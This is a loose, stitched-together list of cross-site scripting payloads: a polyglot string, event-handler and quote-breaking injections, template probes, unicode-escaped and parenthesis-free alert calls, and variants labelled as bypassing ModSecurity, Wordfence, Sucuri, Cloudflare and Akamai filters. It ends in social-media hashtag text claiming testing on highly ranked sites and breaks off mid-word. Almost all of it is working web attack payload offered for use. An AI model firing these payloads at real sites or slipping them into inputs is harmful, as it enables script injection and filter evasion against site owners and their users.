jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//\x3csVg/ <--`

--!> " autofocus onfocus=alert(4) fragment=" " onclick=alert`5` fragment="

"'`> --> ModSecurity bypass javascript:alert(1) '-alert(1)-' '-alert(1)// `-alert(1)//\ \'-alert(1)// '}alert(1);{' '}alert(1)%0A{' \'}alert(1);{// \u0027-confirm`1`-\u0027 "; ||confirm('XSS') || " '*prompt(1)*' ${alert(1)} {{32*32}} ""});});});alert(1);$('a').each(function(i){$(this).click(function(event){x({y "])},alert(1));(function xss() {// '?prompt`1`?' " onmouseover=alert(/@darknetguy/) " onclick=alert(1)//">click " autofocus onfocus=alert(1) " " onfocus=prompt(1) autofocus fragment=" " onfocus=prompt(1) onmouseover="confirm(1) " style="position:absolute;width:100%;height:100%;top:0;left:0;" " onmousemove=alert(/@darknetguy/)//">Milad ">

\u0061\u006C\u0065\u0072\u0074`` " test="

bypass alert filter: (alert)(1) a=alert,a(2) [3].find(alert) al\u0065rt(4) alert`5` [6].map(alert) [7].every(alert) [8].filter(alert) [9].findIndex(alert) [10].forEach(alert) self['alert'](11) parent['alert'](12) window['alert'](13) Wordfence 7.4.2 Sucuri CloudProxy (POST only) ModSecurity CRS 3.2.0 PL1 parentheses free payload by @aemkei <script>alert()</script> < %3c script>alert()<</script

#Akamai #Bypass #XSS #BugBounty Found a working #xss payload after a brainstorming for a long #time. #Tested in many sites with alexa ranking below #1000 Cloudflare WAF working again... Dec: